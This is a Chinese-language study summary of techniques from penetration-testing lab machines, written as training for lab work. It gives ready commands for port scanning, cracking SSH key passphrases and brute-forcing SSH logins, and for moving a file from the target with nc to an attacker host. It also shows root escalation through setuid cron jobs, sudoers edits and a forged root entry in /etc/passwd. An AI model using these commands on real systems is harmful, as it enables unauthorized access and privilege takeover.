做了二十个靶机了,对学到的知识点做一个汇总
一些没啥意思的用 exp 直接打,不计进来

nmap

首先是 nmap,在做靶机之前,我对于 web 安全的了解仅限于一些基础的 CTF 题目,压根就没用过 nmap,虽然看过几篇介绍 nmap 的文章

nmap -sC -A -T 4 -n -p- 10.10.10.171
nmap 参数:
-sC 根据端口识别的服务,调用默认脚本
-A OS 识别,版本探测,脚本扫描和 traceroute
-T(0-5)时间优化
-n/-R 不对 IP 进行域名反向解析/为所有的 IP 都进行域名的反响解析
-p- 扫描所有端口

searchsploit

searchsploit 是一个命令行搜索 exp 的工具,可以直接在 kali 终端中搜 exp,使用空格来区分关键词
例如:searchsploit opennetadmin

加上 -m 可以把 exp 复制到当前目录

netstat

netstat 各个参数解释
-a (all)显示所有选项,默认不显示 LISTEN 相关
-t (tcp)仅显示 tcp 相关选项
-u (udp)仅显示 udp 相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字
-l 仅列出有在 Listen (监听) 的服務状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如 uid 等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该 netstat 命令

ssh 相关

john 爆破密钥密码

用户将自己的公钥存储在远程主机上面,登陆的时候远程主机会向用户发送一段随机字符串,用户用私钥加密之后再将加密后的发送给主机,如果主机能够用公钥解密成功则可以连接

如果能查看密钥的话可以保存下来,然后用密钥去连接,如果密钥有密码的话,可以使用 ssh2john.py 先转换成 john 格式
python /usr/share/john/ssh2john.py mi > sshjohn

然后使用 john 爆破一下
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn 使用 john 爆破 –wordlist 指定字典

john 工具对于同一个 shadow 文件只会进行一次爆破,如果第二次执行 john shadow 是不会得到结果的
如果想查看上一次爆破的结果,可以加上个 –show

hydra 爆破 ssh

hydra -l jim -w 10 -P 1.txt -t 10 -v -f 192.168.149.160 ssh
-l jim 指定爆破账号为 jim
-L user.txt 指定用户名字典为 user.txt
-w 10 设置最大超时时间 10s,默认 30s
-P pwd.txt 指定密码字典为 pwd.txt
-t 10 指定爆破线程为 10 个
-v 指定显示爆破过程
-f 查找到第一个可以使用的账号和密码的时候停止破解

authorized_keys

authorized_keys,里面实际放的就是客户机的公钥,只要公钥在这里面,这个客户机就不用使用密码就能登录

一开始 ubuntu 中没有这个文件

image.png
image.png

wsl 用 ssh 登录是需要密码的

image.png
image.png

如果我把 wsl 的公钥拷出来,放到 ubuntu 用户 yichen 的 .ssh 下 authorized_keys 中,那么将不再需要密码

image.png
image.png
image.png
image.png

那么,如果有权限,可以把自己生成的公钥拷到用户的 authorized_keys 中,那么就可以直接 ssh 登录到这个用户
(那个靶机是允许执行另一个用户的 cp 命令,然后拷贝公钥到 .ssh/authorized_keys,再登录。但感觉实际用不到,会有这么用的?也许吧 😄)

sudo -l

sudo -l 可以列出当前用户可以执行哪一些指令,如果有 NOPASSWD 的,就是不需要密码就能使用 sudo 的

例如,php 是不用密码就能使用 sudo 的,那么可以写一个 php 脚本 ,然后一执行就能拿到 root 权限

还有很多软件可以具体找一下他们怎么能开一个 shell,sudo 打开就是 root

redis 未授权访问

关于 redis 核心利用点是,通过没有身份校验的 redis 服务进行登陆,同时指定 config dir 和 config dbfilename 的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell

有个利用脚本
https://github.com/Avinash-acid/Redis-Server-Exploit

python 交互式终端

一般打开的 shell,只有一个 $ 符号,通过这个能好看一下
python -c “import pty;pty.spawn(‘/bin/bash’)”

从靶机上拷出东西来

(如果有 web 服务的话,直接拷到 web 目录,然后下载应该也可以吧)
攻击机新开一个终端,nc -lvp 10001 >backup-ssh-identity-files.tgz 用来接收那个压缩包文件
靶机 shell 里面使用 nc 10.10.15.84 10001 < backup-ssh-identity-files.tgz

rbash 逃逸

rbash 会限制一些命令没法用,参考:https://xz.aliyun.com/t/7642

whatweb

一个命令行下识别 cms 的工具

当你能 root 权限写文件

写 linux 计划任务

cron 的默认配置文件是 /etc/cronted,#开头的是注释,不会被处理
然后上面的内容是来设置 cron 的运行环境的

image.png
image.png
  • 表示任意的数,即每分钟、每小时、每天…
    如果有编辑文件的软件(比如 teehee)是 root 权限运行的话可以写 * * * * * root chmod 4777 /bin/sh 进去,等个一分钟就能获得一个 root 权限的 shell

写/etc/sudoers

这个东西的作用是当用户执行 sudo 的时候,会先到这里面去找,如果发现用户有 sudo 的权限就能直接以 root 的权限来执行命令
文件内容公式:授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2...
那么可以往里写 yichen ALL=(ALL:ALL) ALL 这样 yichen 就能通过 sudo 来执行 root 权限
又或者 peter 可以不使用密码用 sudo 执行任何命令 peter ALL=(ALL) NOPASSWD: ALL

写/etc/passwd

首先要生成 hash
openssl passwd -1 -salt yichen 123456
用户名:yichen,密码:123456
echo 'yichen:$1$yichen$6nzFZVX5T21iu2AmBgzin/:0:0:yichen:/root:/bin/bash' >> /etc/passwd
然后 su yichen,输入密码:123456 就拿到 root 权限了